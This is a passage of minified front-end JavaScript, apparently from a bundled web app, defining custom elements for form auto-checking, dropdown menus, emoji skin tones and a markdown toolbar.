CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 